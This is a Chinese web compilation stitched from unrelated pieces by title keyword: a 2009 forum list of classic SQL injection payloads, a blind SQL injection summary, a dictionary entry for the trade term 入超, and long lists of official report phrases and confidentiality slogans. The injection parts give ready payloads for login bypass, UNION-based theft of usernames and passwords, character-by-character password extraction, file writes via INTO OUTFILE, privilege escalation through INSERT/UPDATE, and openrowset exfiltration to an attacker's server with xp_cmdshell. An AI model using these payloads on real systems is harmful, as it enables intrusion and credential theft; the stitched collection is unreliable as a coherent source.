注入超经典语句总结[精选5篇]

第一篇：注入超经典语句总结

注入超经典语句总结（完美版）xiaoshuidi 发表于 2009-7-1

12:25

注入经典语句总结

' or 1=1

' or '1=1

'/*

'%23

' and password='mypass

id=-1 union select 1,1,1

id=-1 union select char(97),char(97),char(97)

id=1 union select 1,1,1 from members

id=1 union select 1,1,1 from admin

id=1 union select 1,1,1 from user

userid=1 and password=mypass

userid=1 and mid(password,3,1)=char(112)

userid=1 and mid(password,4,1)=char(97)

and ord(mid(password,3,1))>111（ord函数很好用，可以返回整形的）' and LENGTH(password)='6（探测密码长度）

' and LEFT(password,1)='m

' and LEFT(password,2)='my

…………………………依次类推

' union select 1,username,password from user/*

' union select 1,username,password from user/*

=' union select 1,username,password from user/*（可以是1 或者=后直接跟）99999' union select 1,username,password from user/*

' into outfile 'c:/file.txt（导出文件）

=' or 1=1 into outfile 'c:/file.txt

1' union select 1,username,password from user into outfile 'c:/user.txt

SELECT password FROM admins WHERE login='John' INTO DUMPFILE '/path/to/site/file.txt'

id=' union select 1,username,password from user into outfile

id=-1 union select 1,database(),version()（灵活应用查询）

绿色兵团2009 年刊(论坛精选.新兵训练营)? 绿色兵团 版权所有 常用查询测试语句，SELECT * FROM table WHERE 1=1

SELECT * FROM table WHERE 'uuu'='uuu'

SELECT * FROM table WHERE 1<>2

SELECT * FROM table WHERE 3>2

SELECT * FROM table WHERE 2<3

SELECT * FROM table WHERE 1

SELECT * FROM table WHERE 1+1

SELECT * FROM table WHERE 1--1

SELECT * FROM table WHERE ISNULL(NULL)

SELECT * FROM table WHERE ISNULL(COT(0))

SELECT * FROM table WHERE 1 IS NOT NULL

SELECT * FROM table WHERE NULL IS NULL

SELECT * FROM table WHERE 2 BETWEEN 1 AND 3

SELECT * FROM table WHERE 'b' BETWEEN 'a' AND 'c'

SELECT * FROM table WHERE 2 IN(0,1,2)

SELECT * FROM table WHERE CASE WHEN 1>0 THEN 1 END

例如：夜猫下载系统1.0 版本

id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1

union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1（替换，寻找密码）

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49（验证第一位密码）

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50（第二位）

union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51

…………………………………………………………

例如2：灰色轨迹 变换id进行测试（meteor）

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union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FR OM%20calendar_events%20WHERE%20eventid%20=%2013)%20order%20by%20 eventdate

union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FR OM%20calendar_events%20WHERE%20eventid%20=%2010)%20order%20by%20 eventdate

构造语句：

SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union(select 1,1,1,1,1,1,1 from user where userid=1)

SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = 1 union(select 1,1,1,1,username,password from user where userid=1)

UNION%20(SELECT%201,0,2,'1999-01-01','a',password%20FROM%20user%20W HERE%20userid%20=%205)%20order%20by%20eventdate

UNION%20(SELECT%201,0,12695,'1999-01-01','a',password%20FROM%20user% 20WHERE%20userid=13465)%20order%20by%20eventdate

UNION%20(SELECT%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20 WHERE%20username='sandflee')%20order%20by%20eventdate（查沙子的id）（SELECT a FROM table_name WHERE a=10 AND B=1 ORDER BY a LIMIT 10)SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……（字 段和数据库相同情况下，可直接提交）

SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……（不同的情况下）

特殊技巧：在表单，搜索引擎等地方写：

“___”

“.__ ”

“%

%' ORDER BY articleid/*

%' ORDER BY articleid#

__' ORDER BY articleid/*

__' ORDER BY articleid#

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$command = “dir c:”;system($command);

SELECT * FROM article WHERE articleid='$id'

SELECT * FROM article WHERE articleid=$id

1' and 1=2 union select * from user where userid=1/* 句中变为

(SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*')and 1=2 union select * from user where userid=1

语句形式：建立一个库，插入：

CREATE DATABASE `injection`

CREATE TABLE `user`（`userid` int(11)NOT NULL auto_increment,`username` varchar(20)NOT NULL default '',`password` varchar(20)NOT NULL default '',PRIMARY KEY(`userid`));

INSERT INTO `user` VALUES(1, 'swap', 'mypass');

插如一个注册用户：

INSERT INTO `user`(userid, username, password, homepage, userlevel)VALUES('', '$username', '$password', '$homepage', '1');

“INSERT INTO membres(login,password,nom,email,userlevel)VALUES('$login','$pass','$nom','$email','1')“;

INSERT INTO membres(login,password,nom,email,userlevel)VALUES

('','','','','3')#','1')

”INSERT INTO membres SET

login='$login',password='$pass',nom='$nom',email='$email'“;

INSERT INTO membres SET login='',password='',nom='',userlevel='3',email='' ”INSERT INTO membres VALUES('$id','$login','$pass','$nom','$email','1')“;

UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'

”UPDATE membres SET password='$pass',nom='$nom',email='$email' WHERE 绿色兵团2009 年刊(论坛精选.新兵训练营)? 绿色兵团 版权所有

id='$id'“;

UPDATE membres SET password='[PASS]',nom='',userlevel='3',email=' ' WHERE id='[ID]'

”UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'“;长用函数：

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

比如：

UPDATE article SET title=$title WHERE articleid=1 对应函数

UPDATE article SET title=DATABASE()WHERE id=1

#把当前数据库名更新到title字段

UPDATE article SET title=USER()WHERE id=1

#把当前 MySQL 用户名更新到title字段

UPDATE article SET title=SYSTEM_USER()WHERE id=1

#把当前 MySQL 用户名更新到title字段

UPDATE article SET title=SESSION_USER()WHERE id=1

#把当前 MySQL 用户名更新到title字段

UPDATE article SET title=CURRENT_USER()WHERE id=1

#把当前会话被验证匹配的用户名更新到title字段

：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：：

$req = ”SELECT * FROM membres WHERE name LIKE '%$search%' ORDER BY name";

SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

SELECT uid FROM admins WHERE login='' OR 'a'='a' AND password='' OR 'a'='a'（经典）

SELECT uid FROM admins WHERE login='' OR admin_level=1#' AND password='' SELECT * FROM table WHERE msg LIKE '%hop'

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SELECT uid FROM membres WHERE login='Bob' AND password LIKE 'a%'#' AND password=''

SELECT * FROM membres WHERE name LIKE '%%' ORDER BY uid#%' ORDER BY name

第二篇：入超拼音解释及造句

入超拼音

【注音】： ru chao

入超解释

【意思】：在一定时期（一般为一年）内，对外贸易中进口货物的总值超过出口货物的总值（跟‘出超’相对）。

入超造句

1、抽取超类与抽取接口的最大区别在于放入超类中的方法是被实际移到那里的。

2、由于中国及海湾石油出口国有着巨大的经常账户入超，新兴经济整体仍然向富裕世界送出资金。

3、如果中介原语的行为错误（例如，DB查询元素发生死锁），则流的执行也会发生死锁；通过扇入超时不能缓解此问题。

4、虽然中美贸易额不断增长，但中国入超也逐年加大，这无疑同关税问题有关。

5、这些设备使超空间推进器误认为有引力井存在，瘫痪目标飞船逃入超空间的能力。

6、即使那时，设计和建设网站的人们意识到了在文档中加入超链接所产生的新的设计问题，即关于内容设计、组织和结构的问题。

7、官员和健康专家们称辐射强度并不高，不足以对人体健康构成威胁，除非摄入超常量的污染食品。

8、中外贸易状况由出超向入超转变，并成为此后中外贸易变化的基本趋向。

9、此外，在新纤维的使用方面，国外还开发了在无纺布生产过程中加入超吸水纤维（SAF）技术。

第三篇：SQL盲注总结

SQL盲注总结：

１．寻找并确认SQL盲注：

１．强制产生通用错误 ２．注入带副作用的查询：

计时攻击（SQL Server：waitfor delay ‘time’;MySQL:sleep;PostgreSQL:pg_sleep）利用输出进行判断（and 1=2 或者 or 1=1）

３．拆分和平衡（利用不同数据库使用不同连字符进行判断）４．常见的盲注情景：

（１）提交错误sql语句返回内容可控的页面（２）提交错误sql语句返回内容可控的页面

（３）不产生错误页面，不会影响页面输出（一般需要使用基于时间的盲注）５．各数据库位操作符：

MySQL,PostgreSQL,SQL Server: 与(AND)或(OR)非(XOR): I&J I|J I^J ２．基于时间的SQL盲注技术：

1.SQL Server：waitfor delay ‘time’;MySQL:sleep;PostgreSQL:pg_sleep 2.PostgreSQL: 创建PL/pgSQL的延迟函数 3.二分法确认sql查询的值（脚本）

4.防止不可控的时间延时干扰判断：设置足够长的时间延时，远超正常值；同时发送两个请求语句，一个True时延迟，一个在False时延迟

３．基于响应的SQL盲注技术：

根据页面的相应判断True/False

多重判断语句 Case When something: Som..When something1: Som..1 或者case后两个查询一个（>）或（<），另一个为（＝）

４．使用非主流通道：

１．数据库连接：

（１）SQL Server:使用openrowset函数连接远程数据库，使用insert语句将被攻击服务

器上的数据传到自己控制的服务器数据库上

insert into openrowset(‘sqloledb’,network=dbmsocn;address=你的ip;uid=你的username;pwd=password,’select * from attacker_table’)select name from

sysobject where xtype = ‘U’

也可以利用xp_cmdshell执行系统命令，将回显传回自己数据库中

insert into openrowset(‘sqloledb’,network=dbmsocn;address=你的ip;uid=你的username;pwd=password,’select * from attacker_table’)exec

master..xp_cmdshell ‘dir c:’

（２）PostgreSQL:启用dblink,利用dblink命令从攻击者数据库向被攻击者发送数据，但相

关系列函数仅对行进行操作，而不是结果集，需要编写依靠游标遍历数据的PL/pgSQL

函数

２．dns渗漏（常用）：(1)dns的优点:(2)

３．htttp渗漏（oracle）： ４．email渗漏（很难利用）： ５．icmp渗漏（很少见）：

第四篇：总结常用语句

写工作报告、总结材料常用语句

以~~为（主题、手段、保证、导向、主线、指针、标准、龙头、目标、中心、核心、依托、支持、支撑、重点、载体、先导、导向、牵引、依据、纽带、桥梁、契机、出发点、立足点、介入点、切入点、根本点、关键点、结合点、支撑点、着力点、突破口）突出~个重点；掌握~个标准；完善~项制度；做好~个结合；坚定~项宗旨；盯住~个目标；提高~种能力；叫响~个口号；落实~点要求；养成~种风气；发挥~个作用；围绕~的中心；树立~种观念；解决~个难点；选准~的主题；提倡~种精神；落实~项制度；搞好~项研究；掌握~种方法；强化~种意识；制定~项措施；把好~个关口；履行~道手续；区分~个阶段；

在思想感情上，要体现一个“爱”字；在自身形象上，要树立一个“正”字；在工作方法上，要突出一个“细”字；在工作作风上，要坚持一个“实”字；在领导力量上，要形成一个“合”字。

了解情况到一线，检查督促到一线，解决问题到一线，服务保障到一线。

想干事，在端正思想上下功夫；勤想事，在学习思考上下功夫；会办事，在作风养成上下功夫；干实事，在提高能力上下功夫；能装事，在自身要求上下功夫；善记事，在积累素材上下功夫。请示工作有方案，汇报工作有依据，贯彻上级指示有措施，指导基层有力度。主管工作勇唱主角不推诿，中心工作积极参与不旁观，日常工作诚心支持不设卡，重大工作紧密配合不拆台，边缘工作主动承担不扯皮。

互相补台，好戏连台；互相拆台，一起垮台。

加强学习，树立勤奋求和的风气；积极探索，树立争先创优的风气；顾全大局，树立服从全局的风气；遵章守纪，树立严于律己的风气；求真务实，树立真抓实干的风气；注重团结，树立团结奋进的风气。

用新的视角分析认识问题，用新的思路筹划指导建设，用新的办法研究解决问题。

忙于事务不思创新，安于现状不愿创新，怕担风险不敢创新。落后的思想观念，陈旧的思维方式，片面的工作方法。解放思想、实事求是的科学态度；与时俱进、开拓创新的时代精神；着眼全局、面向世界的战略眼光；立党为公、执政为民的价值追求。

用新的视角观察事物，用新观念研究问题，用新的办法解决矛盾，用新的机制提高效益。

在研究新情况中认识新规律，在运用新办法中探索新经验，在解决新问题中实现新突破。

以宁静之心观察事物，以平常之心看待名利，以奉献之心对待事业，精神振奋，励精图治，殚精竭虑。敢于站立潮头，敢于正视问题，敢于突破常规，敢于承担风险、敢于迎难而上。

保持“三股气”：蓬勃朝气，昂扬锐气，浩然正气。从忙于应酬中摆脱出来，从文山会海中摆脱出来，从名僵利索中摆脱出来，聚精会神抓工作，一心一意谋发展。

提供了新思路，开辟了新道路，指明了新方向。识才的慧眼、用才的气魄、爱才的情感、聚才的方法，知人善任，广纳群贤（帮才的责任、容才的气度）。

活力竞相迸发，源泉充分涌流。敢为人先闯大道，敢立潮头唱大风。

敢于涉猎他人没有涉猎过的新领域，敢于碰撞他人没碰撞过的新问题，敢于提出他人没有提过的新观点。

深入基层具体指导，发现问题及时指导，重点工作跟踪指导，依靠机关科学指导。

心往一处想，谋往一处出，劲往一处使，人往一处用。拿实招、求实效、出实果。动真的、来实的、碰硬的。

上有所示，下必从之；上有所为，下必效之；上有所好，下必投之。工作落实了没有，要听群众反映；问题解决了没有，要让群众评价；作风改进了没有，要看群众公论。

思想文化相互激荡，多种价值观念交织并存，意识形态领域斗争异常尖锐。多一点冷静少一点狂热，多一点理智少一点偏执，多一点思考少一点盲从。

不舍本求末，根基不固不歇气；不一线平推，难题不破不放过；不朝令夕改，目标不达不罢休，不只抓过程，成果不出不撒手。时代新要求，理论新发展，执政新考验，履行新使命。一个没有艰苦奋斗精神作支撑的民族，是难以自立自强的；一个没有艰苦奋斗精神作支撑的国家，是难以发展进步的；一个没有艰苦奋斗精神作支撑的政党，是难以兴旺发达的（胡锦涛）。执政为民、执政爱民、执政富民。

尊重劳动、尊重知识、尊重人才，尊重创造。尊重劳动是核心，尊重知识是基础，尊重人才是保证，尊重创造成是关键。劳动与创造分不开，没有创造，劳动只能是简单的重复；创造也离不开劳动，没有劳动，创造成了空中画饼。尊重劳动和尊重创造，更离不开尊重知识和尊重人才。有知识才会提高劳动效率，有人才才会推动创造进程；尊重知识才会促进社会发展，尊重人才才会激励科技创新。

不为私利所惑，不为彩头所困，不为升迁所累。

强化打牢信念意识，以理想明方向强化做实工作意识，以作为强地位强化理顺关系意识，以同心促发展强化用活人员意识，以活力出效益强化树立形象意识，以正气凝人心强化抓紧学习意识，以勤奋求促进,克服与已无关思想，树立人人有责的责任意识； 克服无所作为思想，树立锐意改革的进取意识；克服被动应付思想，树立积极开拓的挑战意识。艰苦创业的奉献意识；以x为家的建设意识；同舟共济的团结意识；追求高新的前沿意识。班子建设增强“四种意识”一是增强集体意识，落实根本制度；二是增强团结意识，自觉合心合力；三是增强形象意识，突出表率作用；四是增强务实意识，着力改进作风。

强化四种意识强化责任意识，不辱使命；强化全局意识，开阔视野；强化进取意识，迎难而上；强化建设意识，有所作为。增强四种意识一是增强主角意识，克服等给靠要的依赖思想；二是增强统揽意识，克服随心所欲的忙乱现象；三是增强结合意识，克服单打一的简单化倾向；四是增强帮带意识，克服指导错位的浮躁倾向。拼搏进取精神，艰苦创业精神，廉洁奉公精神，改革创新精神，服务至上精神，无私的奉献精神，高尚的精神，进取精神，开拓精神，吃苦精神，敬业精神，奉献精神，求实精神

要树立：崇尚真理，尊重客观的科学精神；立足本职，脚踏实地的实干精神；自我否定，敢于扬弃的批判精神；开拓进取，超越现状的创新精神；自己动手，发奋图强的自立精神；不甘落后，积极向上的拼搏精神；锐意改革，努力进取的探索精神；据弃虚假，埋头苦干的务实精神；爱岗敬业，任劳任怨的吃苦精神；胸怀全局，团结互助的协作精神；藐视困难，以苦为荣的乐观精神；不计名利，甘愿吃亏的奉献精神。一要有自信自强的精神，二要有实事求是的精神，三要有脚踏实地的精神，四要有刻苦钻研的精神，五要有敢于批判的精神，六要有积极创造的精神，七要有奋力拼搏的精神，八要有热情实践的精神，九要有谦虚谨慎的精神，十要有坚持不懈的精神。“五抓”建党风抓教育，增强免疫力；抓制度，增强自制力；抓查处，增强约束力；抓示范，增强感染力；抓领导，增强向心力。

一抓政治建设监督；二抓重大决策监督；三抓热点问题监督；四抓违纪查处监督。

三抓：一抓组织，克服自发、自流现象；二抓引导，克服盲目、功利现象；三抓落实，克服应付、虚假现象。

抓细化重落实；抓变化谋高着；抓深化求质量；抓转化出效益。最动摇不得的是信念，最出卖不得的是原则，最耽误不得的是事业。端平一碗水，抚平众人心。领导公心处事，上下齐心干事。政治上要清醒，经济上要清楚，工作上要清明，作风上要清廉，生活上要清白。

不让有能力、有政绩的人吃亏；不让跑官、要官的人得逞；不让各种关系电话、条子显灵。

公生明，廉生威。“公”字解难点，就不难了；“公”字释疑点，就不疑了；“公”字降热点，就不热了。贪权者灭，贪财者亡，贪色者败，贪名者昏。言行一致嘴巴硬，廉洁用权腰杆硬，承担责任肩膀硬，抵制歪风脖子硬。

多一分监督就少一些漏洞，多一分制约就少一些失误。用好“印把子”，管住“钱袋子”，坐正“官位子”，慎碰“酒杯子”。原则松一寸，思想滑一尺，工作退一丈。

风气好人人受益，风气坏人人受害，端正风气人人有责。风气正，就出人才、出政绩、出经验；风气不正，就出问题、出矛盾、出教训。

宁可黑脸别黑心，宁可没钱别没志，宁可辛苦别痛苦，宁可利亏别理亏。

心要放得正，腰要挺得直，水要端得平。

不为面子所障碍，不为压力所动摇，不为利益所左右，不为人情所困扰。

思想教育经常化，变“要我学”为“我要学”；专业设置合理化，变“随意挑”为“统筹选”；学习保障制度化，变“粗放型”为“集约型”。

扩展阅读：写工作报告论文等常用语句 写工作报告论文等常用语句

思想教育经常化，变“要我学”为“我要学”；专业设置合理化，变“随意挑”为“统筹选”；学习保障制度化，变“粗放型”为“集约型”。在思想感情上，要体现一个“爱”字；在自身形象上，要树立一个“正”字；在工作方法上，要突出一个“细”字；在工作作风上，要坚持一个“实”字；在领导力量上，要形成一个“合”字。了解情况到一线，检查督促到一线，解决问题到一线，服务保障到一线。

想干事，在端正思想上下功夫；勤想事，在学习思考上下功夫； 会办事，在作风养成上下功夫；干实事，在提高能力上下功夫； 能装事，在自身要求上下功夫；善记事，在积累素材上下功夫。请示工作有方案，汇报工作有依据，贯彻上级指示有措施，指导基层有力度。

主管工作勇唱主角不推诿，中心工作积极参与不旁观，日常工作诚心支持不设卡，重大工作紧密配合不拆台，边缘工作主动承担不扯皮。

互相补台，好戏连台；互相拆台，一起垮台。

加强学习，树立勤奋求和的风气；积极探索，树立争先创优的风气；

顾全大局，树立服从全局的风气；遵章守纪，树立严于律己的风气；

求真务实，树立真抓实干的风气；注重团结，树立团结奋进的风气。用新的视角分析认识问题，用新的思路筹划指导建设，用新的办法研究解决问题。忙于事务不思创新，安于现状不愿创新，怕担风险不敢创新。

落后的思想观念，陈旧的思维方式，片面的工作方法。解放思想、实事求是的科学态度；与时俱进、开拓创新的时代精神；着眼全局、面向世界的战略眼光；立党为公、执政为民的价值追求。

用新的视角观察事物，用新观念研究问题，用新的办法解决矛盾，用新的机制提高效益。

在研究新情况中认识新规律，在运用新办法中探索新经验，在解决新问题中实现新突破。

以宁静之心观察事物，以平常之心看待名利，以奉献之心对待事业，精神振奋，励精图治，殚精竭虑。

敢于站立潮头，敢于正视问题，敢于突破常规，敢于承担风险、敢于迎难而上。

保持“三股气”：蓬勃朝气，昂扬锐气，浩然正气。从忙于应酬中摆脱出来，从文山会海中摆脱出来，从名僵利索中摆脱出来，聚精会神抓工作，一心一意谋发展。提供了新思路，开辟了新道路，指明了新方向。

识才的慧眼、用才的气魄、爱才的情感、聚才的方法，知人善任，广纳群贤（帮才的责任、容才的气度）。活力竞相迸发，源泉充分涌流。敢为人先闯大道，敢立潮头唱大风。

敢于涉猎他人没有涉猎过的新领域，敢于碰撞他人没碰撞过的新问题，敢于提出他人没有提过的新观点。

一个班子一个调，各任各弹各的调；一茬领导一把号，各人各吹一把号。

深入基层具体指导，发现问题及时指导，重点工作跟踪指导，依靠机关科学指导。

心往一处想，谋往一处出，劲往一处使，人往一处用。一个专业干到底、一个单位干到顶，一个系统干到老。拿实招、求实效、出实果。动真的、来实的、碰硬的。上有所示，下必从之；上有所为，下必效之；上有所好，下必投之。求真务实者吃香，政绩突出者受奖。

工作落实了没有，要听群众反映；问题解决了没有，要让群众评价；作风改进了没有，要看群众公论。

思想文化相互激荡，多种价值观念交织并存，意识形态领域斗争异常尖锐。

多一点冷静少一点狂热，多一点理智少一点偏执，多一点思考少一点盲从。

不舍本求末，根基不固不歇气；不一线平推，难题不破不放过；不朝令夕改，目标不达不罢休，不只抓过程，成果不出不撒手。时代新要求，理论新发展，执政新考验，履行新使命。一个没有艰苦奋斗精神作支撑的民族，是难以自立自强的；一个没有艰苦奋斗精神作支撑的国家，是难以发展进步的；一个没有艰苦奋斗精神作支撑的政党，是难以兴旺发达的（胡锦涛）。执政为民、执政爱民、执政富民。

尊重劳动、尊重知识、尊重人才，尊重创造。尊重劳动是核心，尊重知识是基础，尊重人才是保证，尊重创造成是关键。劳动与创造分不开，没有创造，劳动只能是简单的重复；创造也离不开劳动，没有劳动，创造成了空中画饼。尊重劳动和尊重创造，更离不开尊重知识和尊重人才。有知识才会提高劳动效率，有人才才会推动创造进程；尊重知识才会促进社会发展，尊重人才才会激励科技创新。

不为私利所惑，不为彩头所困，不为升迁所累。

以事业为生命的寄托，以事业为无上的乐趣，以事业为神圣的职责，以事业为一生的追求。

只有不断的学习，一个国家才有动力，一个民族才有活力，一个军队才有战斗力，一个个人才有发展潜力。

学习要解决刻苦问题，思考要解决艰苦问题，联系实际要解决痛苦问题。安于现状、碌碌无为的人，搞不了创新；思想懒惰、不愿探索的人，搞不了创新；回避矛盾、见硬就退的人，搞不了创新。

创新要有敢为人先的闯劲，要有百折不挠的韧劲，要有无私无畏的拼劲。

靠素质立身，靠本事拿奖，靠政绩进步。急功近利的眼前文章，弄虚作假的掩盖文章，纸上谈兵的表面文章。

在批评中克服缺点，在批评中明辨是非，在批评中成长进步。正确处理主观与客观、愿望与可能、实际与需求的关系，给任务就要给条件，给工作就要给时间。

要经得起委曲，经得起批评，经得起挫折，也经得起表扬。一个人的工作能力有大小，但为人可靠是根本；一个时期成绩有大小，但做人的基本原则最重要。

一个人再聪明也逃不过群众的眼睛，再精明也精明不过时间的考验。

学习教育上延伸、工作谋划上进入、建设标准上拓展、改进作风上体现（“科学发展观”落实到基层）

基层有决定权的不插手，基层有推荐权的不剥夺，基层有安排权的不干扰，基层有支配权的不统死。把基层群众“拥护不拥护”、“赞成不赞成”、“高兴不高兴”、“答应不答应”作为抓工作的出发点和落脚点，做到统揽而不包揽，指导而不包办，到位而不越位，分忧而不伸手，解难而不责难。

跟上时代步伐，顺应时代潮流，体现时代精神。

大视野创造新感觉，大视野升华新境界，大视野成就大事业。学贵立志，学贵惜时，学贵自知，学贵多思，学贵有择，学贵有恒，学贵有心。

雷厉风行，准确细致，严格谨慎，求真务实，团结协调。围绕中心工作出谋划策，围绕主要矛盾出谋划策，围绕抓根治本出谋划策，围绕老大难问题出谋划策。

领导者的威望从哪里来？靠上级封不出来，靠权力压不出来，靠自己吹不出来，靠耍小聪明骗不出来，只有靠真心实意地、尽心竭力地、坚持不懈地为群众办实事，才能逐步树立起来 [六重六轻]: 从认识上看：重硬件，轻软件：

从着眼点上看：重显露的问题，轻潜在的问题；从单位上看：重XXX单位，轻XXX单位；从时间上看：重正课时间，轻课余时间；从人员上看，重XXX，轻XX和XX；

从工作范围上看：重领导强调的方面，轻领导尚未注意的方面 重物质、轻精神；重形式、轻内容；重讲评、轻落实；重检查、轻效果

[管理工作十个误区]: 重管理、轻教育；重整顿、轻经常；

重结果、轻过程；重个别人、轻身边人；重要求、轻细化；重“防火”、轻“救灾”；重两头、轻中间；重经验、轻创新 一般号召多、具体指导较少；部署任务较多、跟踪问效较少；下发文电较多、督促检查较少；表面了解较多、成果转化较少 个人主义思想抬头，宗旨意识淡化；享乐主义抬头，艰苦奋斗意识淡化；特权主义思想抬头，群众意识淡化 工作标准不高；创新意识不强；工作作风不够实；思想作风不够牢；能力素质与现实人物要求不相适应。

执行上级命令指示不够坚决，训练目标不够明确安全意识较差，xxxx不到位；xxxx工作缺乏科学性和实效性。

五不（教训）：工作指导思想不端正；对管理、教育薄弱的地方不重视；对个别重点人帮教、控制、防范不得力；对危险人员与危险物品结合发生案件的可能性、危害性认识不充分；对建立良好的内部关系考虑不周到。

子曰：“乱之所生也，则言语以为阶，君不密则失臣，臣不密则失身，几事不密则害成。是以君子慎密而不出也。”(孔子说：“扰乱的生起，是言语以为阶梯，国君不保密则失去臣子，臣子不保密则失去身命，机密的事情不保密，则造成灾害。所以君子是谨慎守密而不泄漏机密呀。”)事前百分之一的预防，胜过事后百分之九十九的补救。保密是永恒的战斗力，泄密是失败的导火索。保密的汗水越多，泄密的泪水越少。

欲求木之茂，必先固其根；欲求军之强，必先守其密。保密规定千万条，严格落实第一条。行军可走千山万水，保密莫越雷池一步。

不压保密的“黄线”，不闯保密的“红灯”，不走保密的禁行道“。

干工作，一日无功即是过；保秘密，一世无过才是功。麻痹和虚荣是保守秘密的大敌。

面对即将出版的书稿，我们要像排雷的工兵那样谨小慎微。信息是生成战斗力的数据库，保密是保护战斗力的防火墙。保密工作最大的隐患是没有忧患意识。保密与泄密一字之差，光荣与耻辱一念之间。

对待保密，要用“显微镜“查问题，用”放大镜“看危害，用多棱镜”找根源。

抓保密需要小题大做，防泄密不妨牛刀杀鸡。苍蝇不叮无缝蛋，间谍专找糊涂汉。

常紧“保密弦”，常念“保密经”，常敲“保密钟”。我保密，密保我。

脑子里的东西，连帽子也不让知道。窃密无孔不入，保密滴水不漏。

因为利益出卖秘密是可耻的，由于无知泄露秘密是可悲的。保守秘密，为国、为家、为自己！练为战，战为赢，不保密，等于零。

问一问再看，想一想再说，看一看再扔。保密工作只有满分和零分。

保密为打赢“撑伞”，泄密给打赢“拆台”。

保守秘密是防御敌人的盾牌，泄露秘密是刺向自己的利剑。铭记“生命线”，分清“是非线”，筑牢“保密线”，不踩“高压线”。保密是胜利的助产士。

“秘密”二字各有一“必”，犹如把“心”里知道的事加一把锁，必须用“心”才能保密

以~~为（主题、手段、保证、导向、主线、指针、标准、龙头、目标、中心、核心、依托、支持、支撑、重点、载体、先导、导向、牵引、依据、纽带、桥梁、契机、出发点、立足点、介入点、切入点、根本点、关键点、结合点、支撑点、着力点、突破口）突出~个重点；掌握~个标准；完善~项制度；做好~个结合；坚定~项宗旨；盯住~个目标；提高~种能力；叫响~个口号；落实~点要求；养成~种风气；发挥~个作用；围绕~的中心；树立~种观念；解决~个难点；选准~的主题；提倡~种精神；落实~项制度；搞好~项研究；掌握~种方法；强化~种意识；制定~项措施；把好~个关口；履行~道手续；区分~个阶段；

人格是最高的学位。人格如金，纯度越高，品位越高。当官一阵子，做人一辈子，当官从政人品做底子。人品是一种责任心，是一种作风，更是一种品质。

道德可以弥补智慧上的缺陷，但智慧永远弥补不了道德上的缺陷。

人的两种力量最有魅力，一种是人格的力量，一种是思想的力量。

品行是一个人的内涵，名誉是一个人的外貌。做人德为先，待人诚为先，做事勤为先。一个人的最高境界是爱别人，一个共产党员的最高境界是爱人民。

公道正派，是一种人格情操、一种思想境界，是领导干部为官做人的第一修养、第一准则、第一信条。贪欲是修身养德的大敌。

个人自重，不贪财、不贪色、不贪利；对人尊重，重人格、重劳动、重权益；办事稳重，讲原则、讲程序、讲效率。挫折面前不失志，荣辱面前不失节，诱惑面前不失态。正直和诚实是安身立命的根本。

能宽容有过于自己的人、对自己有成见的人，会得到更大的帮助和回报。

勇敢不是没有畏惧，而是最终战胜了畏惧；坚强不是毫不懦弱，而是最终克服了懦弱；公正并非毫无私情，而是最终拒绝了私情；廉洁并非从无贪欲，而是最终顶住了贪欲。

做人要有厚度，做官要有气度，对组织要有纯度，对事业要有浓度，对批评要有风度，对工作要有精度，对部属要有温度，对是非要有尺度。

做人要有志气，做事要有底气，做官要有正气。靠素质立身，靠勤奋创业，靠政绩进步，靠品德做人。凭良心说话，凭本事吃饭，凭骨气做人。

对上级不媚，对同级不损，对下级不伪，对自己不私。用强过自己的人，成功越近；用比自己差的人，成功越远。欣赏别人是一种境界，善待别人是一种胸怀，关心别人是一种品质，理解别人是一种涵养，帮助别人是一种快乐，学习别人是一种智慧，团结别人是一种能力，借鉴别人是一种收获。多留财富，少留包袱；多留风范，少留遗憾；多留经验，少留缺陷。

领导者应当学会倾听，学会微笑，学会赞扬。以过硬的素质服人，用高尚的人格聚人，靠扎实的作风带人。

基层喜欢的领导干部，有勤快的“腿”，有踏实的“脚”，有清醒的“脑”，有滚烫的“心”，有亲切的“脸”，有清白的“手”。闻“诤言”不怒，闻“微言”不弃，闻“褒言”不喜，闻“错言”不怨，闻“无言”不安。

人人为党添彩，党才光彩；人人为党分忧，党才少忧；人人为党尽力，党才有力。

立身靠信，立业靠勤，立世靠才，立功靠拼。容言勿压制，容过勿苛求，容嫌勿报复。人生最大的成功，莫过于做人的成功。讲正气，有底气，说话办事才硬气 小差错往往坏大事，小漏洞常常误大局。

小节关乎大节，在小节上过不了关，在大节上就很难过硬。常思贪欲之害，常除非份之想，常怀律己之心。

像记住年龄那样记住党龄，像记住生日那样记往党日。有效利用“绿灯”，十分警惕“黄灯”，坚决不闯“红灯”。不在小的方面“限制自己”，就会在大的方面“放纵自己”。政治不能西化，原则不能软化，思想不能僵化，生活不能腐化。管好自己，安全无虞；放纵自己，危险在即。小洞不补，大洞吃苦；不严小节，难保大节。

